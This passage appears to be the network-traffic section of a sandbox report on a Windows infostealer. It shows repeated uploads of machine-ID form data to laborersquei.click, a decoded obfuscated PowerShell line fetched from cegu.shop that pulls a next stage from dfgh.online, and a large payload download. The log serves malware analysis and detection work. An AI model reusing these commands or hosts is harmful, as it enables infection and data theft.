2024-12-28 03:23:41 UTC	15331	OUT	Data Raw: 2d 2d 39 50 58 32 38 33 51 33 47 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 32 37 44 37 45 37 36 35 34 44 31 39 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 39 50 58 32 38 33 51 33 47 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 50 58 32 38 33 51 33 47 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 39 50 58 32 38 33 51 33 47 55 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --9PX283Q3GUContent-Disposition: form-data; name="hwid"34DC27D7E7654D19D0F23BE3BFA4D7B0--9PX283Q3GUContent-Disposition: form-data; name="pid"2--9PX283Q3GUContent-Disposition: form-data; name="lid"jMw1IE--psyche--9PX283Q3GUContent
2024-12-28 03:23:41 UTC	2785	OUT	Data Raw: 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-12-28 03:23:43 UTC	1134	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pjirg5t8usl26ccpminbb0n0df; expires=Tue, 22 Apr 2025 21:10:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xYA1RVewxR7NNM%2F9lHcqUQEl6aatNQe2t8qdfxmXOMQPsE%2BqKrolGqIShoQpqrco7xywYZSr8VT%2BDKcho%2BM9P3HY58A6zFZvYEw4G7QMDhDJ8wIUd9zEzrUXIq2NBrY4Q4AzT8I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6ee2d8e04407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1596&rtt_var=616&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19072&delivery_rate=1750599&cwnd=230&unsent_bytes=0&cid=7216e25e2de82d1d&ts=1834&x=0"
2024-12-28 03:23:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 03:23:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:44 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8P4UL2SQ629 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8743 Host: laborersquei.click
2024-12-28 03:23:44 UTC	8743	OUT	Data Raw: 2d 2d 38 50 34 55 4c 32 53 51 36 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 32 37 44 37 45 37 36 35 34 44 31 39 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 38 50 34 55 4c 32 53 51 36 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 50 34 55 4c 32 53 51 36 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 38 50 34 55 4c 32 53 51 36 32 39 0d 0a 43 6f 6e Data Ascii: --8P4UL2SQ629Content-Disposition: form-data; name="hwid"34DC27D7E7654D19D0F23BE3BFA4D7B0--8P4UL2SQ629Content-Disposition: form-data; name="pid"2--8P4UL2SQ629Content-Disposition: form-data; name="lid"jMw1IE--psyche--8P4UL2SQ629Con
2024-12-28 03:23:45 UTC	1131	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0u3egqnb2v5jlmp98crm1egkmi; expires=Tue, 22 Apr 2025 21:10:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IWwNxIDfCNRpY2CgNcByzzZvVvu04FZi70dYRhqYLaKMJ3D4z0ng3EagEJJILS69fLsRHcO4FZDp4EIitV2whbhU0YdZ3XigloyFsh%2FgskrTWO%2BkIgiBDpOT3bv8zh%2FkiC%2BelKA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6ef67f0d4310-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2075&min_rtt=2019&rtt_var=870&sent=8&recv=13&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9677&delivery_rate=1182186&cwnd=242&unsent_bytes=0&cid=cb12a5e9feeddaa9&ts=855&x=0"
2024-12-28 03:23:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 03:23:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:47 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1Q3S6XWH2PIZQJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20414 Host: laborersquei.click
2024-12-28 03:23:47 UTC	15331	OUT	Data Raw: 2d 2d 31 51 33 53 36 58 57 48 32 50 49 5a 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 32 37 44 37 45 37 36 35 34 44 31 39 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 31 51 33 53 36 58 57 48 32 50 49 5a 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 31 51 33 53 36 58 57 48 32 50 49 5a 51 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 31 51 33 53 36 58 57 Data Ascii: --1Q3S6XWH2PIZQJContent-Disposition: form-data; name="hwid"34DC27D7E7654D19D0F23BE3BFA4D7B0--1Q3S6XWH2PIZQJContent-Disposition: form-data; name="pid"3--1Q3S6XWH2PIZQJContent-Disposition: form-data; name="lid"jMw1IE--psyche--1Q3S6XW
2024-12-28 03:23:47 UTC	5083	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-28 03:23:48 UTC	1125	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k5aegls36iofkscmiuu06abed9; expires=Tue, 22 Apr 2025 21:10:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=djpr7EFDoX5R7RPDHe5unR41KR5Mmw2AxplHPxwRSvTXzuRiceTbFdyiCAYK9VobTwdmUCYgtTZ8DubHNmczDL9yF6TXj4yNfEzrmc2G7x6MeCrQ9jWBkqVbMaRPTxR1U2kncUs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6f046fc50fa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1480&rtt_var=572&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21374&delivery_rate=1882656&cwnd=252&unsent_bytes=0&cid=81ac0f91ce4bb4fb&ts=980&x=0"
2024-12-28 03:23:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 03:23:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:49 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TE1VUZC5DPSCJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1210 Host: laborersquei.click
2024-12-28 03:23:49 UTC	1210	OUT	Data Raw: 2d 2d 54 45 31 56 55 5a 43 35 44 50 53 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 32 37 44 37 45 37 36 35 34 44 31 39 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 54 45 31 56 55 5a 43 35 44 50 53 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 45 31 56 55 5a 43 35 44 50 53 43 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 54 45 31 56 55 5a 43 35 44 50 Data Ascii: --TE1VUZC5DPSCJContent-Disposition: form-data; name="hwid"34DC27D7E7654D19D0F23BE3BFA4D7B0--TE1VUZC5DPSCJContent-Disposition: form-data; name="pid"1--TE1VUZC5DPSCJContent-Disposition: form-data; name="lid"jMw1IE--psyche--TE1VUZC5DP
2024-12-28 03:23:50 UTC	1128	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d0cglod8fk0gp0lahic0b4n0mi; expires=Tue, 22 Apr 2025 21:10:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YUUG1%2FJrsuop78SV9Q7oYACbmyVw6Eme43zj%2F4AqZI1Xk9eOlqh9PM%2B8WVYitmiknPAUdASWyIjZWQhUQ6XTrPJOMy0Kv5QjSCKMWR9vLOJ7JOSUJJLUbuiqv3YLYYvBKR9QzTw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6f133918c413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1497&rtt_var=568&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2124&delivery_rate=1914754&cwnd=173&unsent_bytes=0&cid=2d024ea1566ba981&ts=765&x=0"
2024-12-28 03:23:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 03:23:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:51 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CRUXAW66G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1063 Host: laborersquei.click
2024-12-28 03:23:51 UTC	1063	OUT	Data Raw: 2d 2d 43 52 55 58 41 57 36 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 32 37 44 37 45 37 36 35 34 44 31 39 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 43 52 55 58 41 57 36 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 52 55 58 41 57 36 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 0d 0a 2d 2d 43 52 55 58 41 57 36 36 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --CRUXAW66GContent-Disposition: form-data; name="hwid"34DC27D7E7654D19D0F23BE3BFA4D7B0--CRUXAW66GContent-Disposition: form-data; name="pid"1--CRUXAW66GContent-Disposition: form-data; name="lid"jMw1IE--psyche--CRUXAW66GContent-Dis
2024-12-28 03:23:52 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2c2n5nkk6hq9f79626h0imlq1; expires=Tue, 22 Apr 2025 21:10:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1NeYOvF87N%2F%2BLrD6KsOenKnzPMJz3VccYQ1bLQvpJ2erWXmgePGkBTBwjzIusYuYV1kFtUmYhn%2FVR0O7xVloJv0eH0vIuu5z7Cw%2B1pXStIKVUKl6Zipjix4KX8hDaHEiTne5Iw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6f201a474328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1727&rtt_var=667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1973&delivery_rate=1617728&cwnd=220&unsent_bytes=0&cid=f035425e97468d87&ts=968&x=0"
2024-12-28 03:23:52 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 03:23:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	172.67.166.49	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:53 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: laborersquei.click
2024-12-28 03:23:53 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 33 34 44 43 32 37 44 37 45 37 36 35 34 44 31 39 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--psyche&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=34DC27D7E7654D19D0F23BE3BFA4D7B0
2024-12-28 03:23:54 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ln4nhrrv6nrushpvgesvvr2vh0; expires=Tue, 22 Apr 2025 21:10:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBwI2TOaoqshPCbEVRNlSCWMhCtOemkUAJ5ijonzaT%2FU7i%2Fpe3q8NUQRJK9aiFEDEjvmdo1h2E32bvUEky3F4h3yy8pwxQcDkJ0FOrgSjK1OL6Kp3ypM6f5RM%2FV1JzYWlayeBd4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6f2ecda98cb9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14791&min_rtt=1848&rtt_var=8522&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1018&delivery_rate=1580086&cwnd=183&unsent_bytes=0&cid=cb5201cbf7ea6a27&ts=798&x=0"
2024-12-28 03:23:54 UTC	218	IN	Data Raw: 64 34 0d 0a 32 38 41 4d 67 41 63 44 4b 76 55 71 37 30 2f 2f 41 75 2f 71 71 53 66 4c 58 6e 2f 41 51 39 73 48 33 36 38 76 4a 6f 42 54 76 71 4b 41 75 79 37 31 4a 54 6b 49 6e 56 36 62 50 34 77 34 73 38 58 31 43 4b 67 37 47 4c 56 74 71 47 2b 77 33 33 4d 4a 75 47 61 4a 6c 75 6e 32 50 72 51 7a 4e 58 62 61 57 6f 64 68 69 33 71 62 79 49 55 46 72 53 70 64 2b 6e 48 33 4a 62 71 4e 46 52 66 39 66 38 57 41 72 75 49 32 6f 6d 39 33 58 6f 56 5a 31 52 50 51 58 73 43 42 78 55 36 37 4b 41 71 74 4b 71 68 79 74 6f 46 63 54 75 38 6a 34 6f 32 79 72 6e 6a 66 5a 47 39 61 71 6c 6d 48 4c 74 46 32 6c 35 36 4c 43 2b 6b 34 43 2b 4a 35 36 79 76 39 79 67 30 63 73 43 37 6a 0d 0a Data Ascii: d428AMgAcDKvUq70//Au/qqSfLXn/AQ9sH368vJoBTvqKAuy71JTkInV6bP4w4s8X1CKg7GLVtqG+w33MJuGaJlun2PrQzNXbaWodhi3qbyIUFrSpd+nH3JbqNFRf9f8WAruI2om93XoVZ1RPQXsCBxU67KAqtKqhytoFcTu8j4o2yrnjfZG9aqlmHLtF2l56LC+k4C+J56yv9yg0csC7j
2024-12-28 03:23:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	185.161.251.21	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:56 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2024-12-28 03:23:56 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Sat, 28 Dec 2024 03:23:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2024-12-28 03:23:56 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	104.21.37.128	443	7724	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

Timestamp	Bytes transferred	Direction	Data
2024-12-28 03:23:58 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2024-12-28 03:23:59 UTC	906	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 03:23:59 GMT Content-Type: text/plain Content-Length: 16956304 Connection: close Accept-Ranges: bytes ETag: "de1a36e00e7b8348a47b59cd94514dd4" Last-Modified: Fri, 27 Dec 2024 19:43:01 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FpEKVnV6MqFBr3AwBPvxKlxqYNww5d6jkM99oUHbLeds75Pbg0y4hXsTVj%2BOS8dpNEe4mdNebOmC%2FsTNc1N7ikqTeLvDYPRwWWpZ7v%2Bkae87p2EpTELUX4lH%2BaThwTnX2z0W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8e6f4cafbec431-EWR alt-svc: h3=":443"; ma=86400 server-timing: 